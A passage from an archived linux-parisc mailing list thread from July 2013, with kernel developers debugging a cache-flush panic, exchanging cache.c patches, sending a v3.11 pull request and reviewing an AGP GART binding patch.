         /* Flushing the whole cache on each cpu takes forever on
            rp3440, etc.  So, avoid it if the mm isn't too big.  */
         if (mm_total_size(mm) < parisc_cache_flush_threshold) {

It is probably the get_ptep call in the non current case that's failing
with firegl x3.  It would be useful if you could test if the current case
, "mm->context == mfsp(3)" case works.  You would have to move return
and disable non current block.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Tue, 9 Jul 2013 19:45:31 +0000 (UTC)
Lines: 27
Approved: news@gmane.org
Message-ID: <loom.20130709T200549-18@post.gmane.org>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373399151 23004 80.91.229.3 (9 Jul 2013 19:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jul 2013 19:45:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 09 21:45:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwdrC-0005FG-H7
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Jul 2013 21:45:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752493Ab3GITpu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jul 2013 15:45:50 -0400
Original-Received: from plane.gmane.org ([80.91.229.3]:52262 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752597Ab3GITpt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jul 2013 15:45:49 -0400
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glpp-linux-parisc@m.gmane.org>)
	id 1Uwdr9-000741-N9
	for linux-parisc@vger.kernel.org; Tue, 09 Jul 2013 21:45:48 +0200
Original-Received: from relay.gero.in ([77.37.212.15])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Tue, 09 Jul 2013 21:45:47 +0200
Original-Received: from gnidorah by relay.gero.in with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Tue, 09 Jul 2013 21:45:47 +0200
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 21
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: sea.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 77.37.212.15 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Iron/26.0.1450.0 Chrome/26.0.1450.0 Safari/537.36)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5188
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5188>

John David Anglin <dave.anglin <at> bell.net> writes:

> It would be useful if you could test if the current case
> , "mm->context == mfsp(3)" case works.
> You would have to move return
> and disable non current block.

Done. The system seems to work as usual. Should i do 
some specific checks?

> Suggest you hack arch/parisc/kernel/cache.c to 
> disable this optimization

The panic on SMP kernel changed to another one:
http://pastebin.com/SfUfd0Un
Same was before with an UP kernel. The only thing
i've changed since is moving to the latest toolchains.
Can't reproduce the previous panic case, so can't
comment on your proposed solution.

P.S.: The hw is not faulty, works ok under hpux.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Tue, 09 Jul 2013 16:59:02 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <51DC7996.3010405@bell.net>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060600090709030508050008"
X-Trace: ger.gmane.org 1373403578 6216 80.91.229.3 (9 Jul 2013 20:59:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jul 2013 20:59:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 09 22:59:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uwf0a-0006tg-RQ
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Jul 2013 22:59:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752704Ab3GIU7g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jul 2013 16:59:36 -0400
Original-Received: from smtp1.primus.ca ([209.216.129.80]:39967 "EHLO mail-08.primus.ca"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752493Ab3GIU7g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jul 2013 16:59:36 -0400
Original-Received: from 174-138-193-200.cpe.distributel.net ([174.138.193.200] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Uwf0Y-0002os-2p; Tue, 09 Jul 2013 16:59:35 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7
In-Reply-To: <loom.20130709T200549-18@post.gmane.org>
X-Authenticated: danglin-lux@magma.ca - 174-138-193-200.cpe.distributel.net ([192.168.0.181]) [174.138.193.200]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5189>

This is a multi-part message in MIME format.
--------------060600090709030508050008
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 7/9/2013 3:45 PM, Alex Ivanov wrote:
> The panic on SMP kernel changed to another one:
> http://pastebin.com/SfUfd0Un
This is just a guess but I don't think page is valid
if the pfn is not valid.  You might try this untested change.

flush_cache_mm might have same problem (i.e., we may need to
check whether the pfn for the pte is valid).

Dave

-- 
John David Anglin    dave.anglin@bell.net


--------------060600090709030508050008
Content-Type: text/plain; charset=windows-1252;
 name="cache.c.d.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="cache.c.d.txt"

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 65fb4cb..8f60123 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -74,10 +74,13 @@ EXPORT_SYMBOL(flush_cache_all_local);
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+	struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+	if (!pfn_valid(*ptep))
+		return;
+
+	page = pte_page(*ptep);
+	if (page_mapping(page) && test_bit(PG_dcache_dirty, &page->flags)) {
 
 		flush_kernel_dcache_page(page);
 		clear_bit(PG_dcache_dirty, &page->flags);

--------------060600090709030508050008--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.11
Date: Tue, 9 Jul 2013 23:28:00 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20130709212800.GA16807@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1373405287 24469 80.91.229.3 (9 Jul 2013 21:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jul 2013 21:28:07 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 09 23:28:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwfSB-0005ZT-Qd
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Jul 2013 23:28:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752887Ab3GIV2H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jul 2013 17:28:07 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64868 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752843Ab3GIV2G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jul 2013 17:28:06 -0400
Original-Received: from p100.box ([84.173.58.183]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MEWxh-1UzCgd1jMv-00FgX0; Tue, 09 Jul 2013 23:28:03
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:F4GtQIcHDlUHbmxGyo/b12+a3IEfXbTESGIYIdiE21CsVwupY04
 ex8dHjlvK/sB353k0xegjCZWBwFvNreg+WZ0jdXcMNsh0mGWctavJEcmoiv1Olg1t/NPQl0
 koBdap44sReWe5CAeHd0iWi0RhukBQ6upw/1OKAOuC3DptWzo0EV/6e02MU03wqIYFkOY3+
 CZl5bexz2gEnsRMknSKzw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5190 gmane.linux.kernel:1522437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5190>

Hi Linus,

Please pull the latest parisc updates from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.11

PA-RISC updates for v3.11 include a gcc miscompilation fix,
gzip-compressed vmlinuz support, a fix in the PCI code for ATI FireGL
support on c8000 machines, a fix to prevent that %sr1 is being clobbered
and a few smaller optimizations and documentation updates.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (6):
      parisc: fix LMMIO mismatch between PAT length and MASK register
      parisc: more capabilities info in /proc/cpuinfo
      parisc: document the shadow registers
      parisc: switch to gzip-compressed vmlinuz kernel
      parisc: optimize mtsp(0,sr) inline assembly
      parisc: Fix gcc miscompilation in pa_memcpy()

John David Anglin (1):
      parisc: Ensure volatile space register %sr1 is not clobbered

 Documentation/parisc/registers          |  8 ++++
 arch/parisc/Makefile                    | 15 +++++--
 arch/parisc/defpalo.conf                |  8 ++--
 arch/parisc/include/asm/special_insns.h |  9 ++--
 arch/parisc/include/asm/tlbflush.h      |  5 ++-
 arch/parisc/install.sh                  |  6 +--
 arch/parisc/kernel/cache.c              |  2 +-
 arch/parisc/kernel/processor.c          | 19 ++++++--
 arch/parisc/lib/memcpy.c                | 79 +++++++++++++++++++++------------
 drivers/parisc/lba_pci.c                | 56 +++++++++++++++++++++++
 10 files changed, 158 insertions(+), 49 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Tue, 9 Jul 2013 19:35:03 -0400
Lines: 68
Approved: news@gmane.org
Message-ID: <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-3--31287552"
X-Trace: ger.gmane.org 1373412951 901 80.91.229.3 (9 Jul 2013 23:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jul 2013 23:35:51 +0000 (UTC)
Cc: Alex Ivanov <gnidorah@p0n4ik.tk>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 01:35:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwhRp-00075j-At
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 01:35:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753410Ab3GIXfw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jul 2013 19:35:52 -0400
Original-Received: from [65.55.111.155] ([65.55.111.155]:49640 "EHLO
	blu0-omc4-s16.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752906Ab3GIXfv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jul 2013 19:35:51 -0400
Original-Received: from BLU0-SMTP39 ([65.55.111.137]) by blu0-omc4-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 9 Jul 2013 16:35:20 -0700
X-EIP: [opH9PHqRKzT9GkBUKNC949a/oOyh6GeJ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP39.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 9 Jul 2013 16:35:19 -0700
In-Reply-To: <51DC7996.3010405@bell.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Jul 2013 23:35:19.0640 (UTC) FILETIME=[F94B7D80:01CE7CFC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5191>

--Apple-Mail-3--31287552
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit

On 9-Jul-13, at 4:59 PM, John David Anglin wrote:

> On 7/9/2013 3:45 PM, Alex Ivanov wrote:
>> The panic on SMP kernel changed to another one:
>> http://pastebin.com/SfUfd0Un
> This is just a guess but I don't think page is valid
> if the pfn is not valid.  You might try this untested change.
>
> flush_cache_mm might have same problem (i.e., we may need to
> check whether the pfn for the pte is valid).

This version compiles and boots on rp3440.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-3--31287552
Content-Disposition: attachment; filename="cache.c.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache.c.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 65fb4cb..b07720f 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -74,10 +74,13 @@ EXPORT_SYMBOL(flush_cache_all_local);
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+	struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+	if (!pfn_valid(pte_pfn(*ptep)))
+		return;
+
+	page = pte_page(*ptep);
+	if (page_mapping(page) && test_bit(PG_dcache_dirty, &page->flags)) {
 
 		flush_kernel_dcache_page(page);
 		clear_bit(PG_dcache_dirty, &page->flags);
@@ -519,8 +522,9 @@ void flush_cache_mm(struct mm_struct *mm)
 					pte_t *ptep = get_ptep(pgd, addr);
 					if (ptep != NULL) {
 						pte_t pte = *ptep;
-						__flush_cache_page(vma, addr,
-						  page_to_phys(pte_page(pte)));
+						if (pfn_valid(pte_pfn(pte)))
+							__flush_cache_page(vma, addr,
+						  		page_to_phys(pte_page(pte)));
 					}
 				}
 			}

--Apple-Mail-3--31287552--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0003
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: gnidorah@p0n4ik.tk
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: agp/parisc-agp: allow binding of user memory to the AGP GART
Date: Wed, 10 Jul 2013 10:17:43 +0400
Lines: 66
Approved: news@gmane.org
Message-ID: <76F511EB-1172-4753-A8AC-B14497EF8121@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: multipart/mixed; boundary="Apple-Mail=_3EF73B8B-184B-4008-9823-ADA469CEBF20"
X-Trace: ger.gmane.org 1373437570 27353 80.91.229.3 (10 Jul 2013 06:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 06:26:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 08:26:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uwnqt-00066M-HQ
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 08:26:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751173Ab3GJG0J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 02:26:09 -0400
Original-Received: from forward15.mail.yandex.net ([95.108.130.119]:46044 "EHLO
	forward15.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750924Ab3GJG0J (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 02:26:09 -0400
X-Greylist: delayed 502 seconds by postgrey-1.27 at vger.kernel.org; Wed, 10 Jul 2013 02:26:09 EDT
Original-Received: from smtp14.mail.yandex.net (smtp14.mail.yandex.net [95.108.131.192])
	by forward15.mail.yandex.net (Yandex) with ESMTP id 9747F9E0F05
	for <linux-parisc@vger.kernel.org>; Wed, 10 Jul 2013 10:17:44 +0400 (MSK)
Original-Received: from smtp14.mail.yandex.net (localhost [127.0.0.1])
	by smtp14.mail.yandex.net (Yandex) with ESMTP id 7158E1B60644
	for <linux-parisc@vger.kernel.org>; Wed, 10 Jul 2013 10:17:44 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp14.mail.yandex.net (nwsmtp/Yandex) with ESMTP id FdJhfpoGwd-HiqeXOup;
	Wed, 10 Jul 2013 10:17:44 +0400
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5192
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5192>


--Apple-Mail=_3EF73B8B-184B-4008-9823-ADA469CEBF20
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=windows-1251

The patch allows binding of user memory to the AGP GART=20
on systems with HP Quicksilver AGP bus. This resolves 'bind memory =
failed'=20
error seen in dmesg:

[   29.365973] [TTM] AGP Bind memory failed.
=85
[   29.367030] [drm] Forcing AGP to PCI mode=20

The system doesn't more fail to bind the memory, and hence not falling
back to the PCI mode (if other failures aren't detected).

This is just a simple write down from the following patches:
agp/amd-k7: Allow binding user memory to the AGP GART [1]
agp/hp-agp: Allow binding user memory to the AGP GART [2]

Both fixes are in upstream.

[1] https://lkml.org/lkml/2010/10/15/469
[2] http://marc.info/?l=3Dlinux-ia64&m=3D131412890819311&w=3D2


--Apple-Mail=_3EF73B8B-184B-4008-9823-ADA469CEBF20
Content-Disposition: attachment;
	filename=patch-parisc_agp_c
Content-Type: application/octet-stream;
	name="patch-parisc_agp_c"
Content-Transfer-Encoding: 7bit

diff --git a/drivers/char/agp/parisc-agp.c b/drivers/char/agp/parisc-agp.c
index 94821ab..9576fad 100644
--- a/drivers/char/agp/parisc-agp.c
+++ b/drivers/char/agp/parisc-agp.c
@@ -129,7 +129,8 @@ parisc_agp_insert_memory(struct agp_memory *mem, off_t pg_start, int type)
 	off_t j, io_pg_start;
 	int io_pg_count;
 
-	if (type != 0 || mem->type != 0) {
+	if (type != mem->type ||
+		agp_bridge->driver->agp_type_to_mask_type(agp_bridge, type)) {
 		return -EINVAL;
 	}
 
@@ -175,7 +176,8 @@ parisc_agp_remove_memory(struct agp_memory *mem, off_t pg_start, int type)
 	struct _parisc_agp_info *info = &parisc_agp_info;
 	int i, io_pg_start, io_pg_count;
 
-	if (type != 0 || mem->type != 0) {
+	if (type != mem->type ||
+		agp_bridge->driver->agp_type_to_mask_type(agp_bridge, type)) {
 		return -EINVAL;
 	}
 

--Apple-Mail=_3EF73B8B-184B-4008-9823-ADA469CEBF20--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: agp/parisc-agp: allow binding of user memory
 to the AGP GART
Date: Wed, 10 Jul 2013 21:14:55 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <51DDB2AF.4030805@gmx.de>
References: <76F511EB-1172-4753-A8AC-B14497EF8121@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1251
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1373483701 27594 80.91.229.3 (10 Jul 2013 19:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 19:15:01 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: gnidorah@p0n4ik.tk
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 21:15:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uwzqu-0008EN-GN
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 21:15:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753948Ab3GJTO7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 15:14:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:52698 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753088Ab3GJTO6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 15:14:58 -0400
Original-Received: from [192.168.178.60] ([84.173.29.190]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LtJ5T-1UCyjb01zX-012qym; Wed, 10 Jul 2013 21:14:56
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <76F511EB-1172-4753-A8AC-B14497EF8121@p0n4ik.tk>
X-Provags-ID: V03:K0:+Tas5y6SkDcysob/NpGl+W2YYj15Fhi2+8RO8yofjZglVGJp9Hc
 fAi0tAEe95eMEWfGCW4Bi7u5SfXMsQAyZmO9Jn+t78CP+rqO1s83UsIxitf5r7PF0My+JRv
 lwTM8+5hh4GQsQzMdxX6Qq05bnhQMnmfUCI76FhhCgOWKyJFHheyT8LXcrhidAYDrYSg2p8
 12QSG72I7h78kCnCFFrfw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5193>

Hi Alex,

On 07/10/2013 08:17 AM, gnidorah@p0n4ik.tk wrote:
> The patch allows binding of user memory to the AGP GART=20
> on systems with HP Quicksilver AGP bus. This resolves 'bind memory fa=
iled'=20
> error seen in dmesg:
>=20
> [   29.365973] [TTM] AGP Bind memory failed.
> =85
> [   29.367030] [drm] Forcing AGP to PCI mode=20
>=20
> The system doesn't more fail to bind the memory, and hence not fallin=
g
> back to the PCI mode (if other failures aren't detected).
>=20
> This is just a simple write down from the following patches:
> agp/amd-k7: Allow binding user memory to the AGP GART [1]
> agp/hp-agp: Allow binding user memory to the AGP GART [2]
>=20
> Both fixes are in upstream.
>=20
> [1] https://lkml.org/lkml/2010/10/15/469
> [2] http://marc.info/?l=3Dlinux-ia64&m=3D131412890819311&w=3D2

Thanks for the patch!!!

Could you please attach patches inline (as text) next time?
Our patchwork tool (https://patchwork.kernel.org/project/linux-parisc/l=
ist/) missed to pick up your patch too.

=46urthermore, I just noticed that vger.kernel.org stopped forwarding m=
e mails to the mailing list
during the last few days. So, I would have missed your patch if I would=
n't have noticed the failing forwarding.

Thanks,
Helge

PS: I attached it here again for patchwork....


diff --git a/drivers/char/agp/parisc-agp.c b/drivers/char/agp/parisc-ag=
p.c
index 94821ab..9576fad 100644
--- a/drivers/char/agp/parisc-agp.c
+++ b/drivers/char/agp/parisc-agp.c
@@ -129,7 +129,8 @@ parisc_agp_insert_memory(struct agp_memory *mem, of=
f_t pg_start, int type)
 	off_t j, io_pg_start;
 	int io_pg_count;
=20
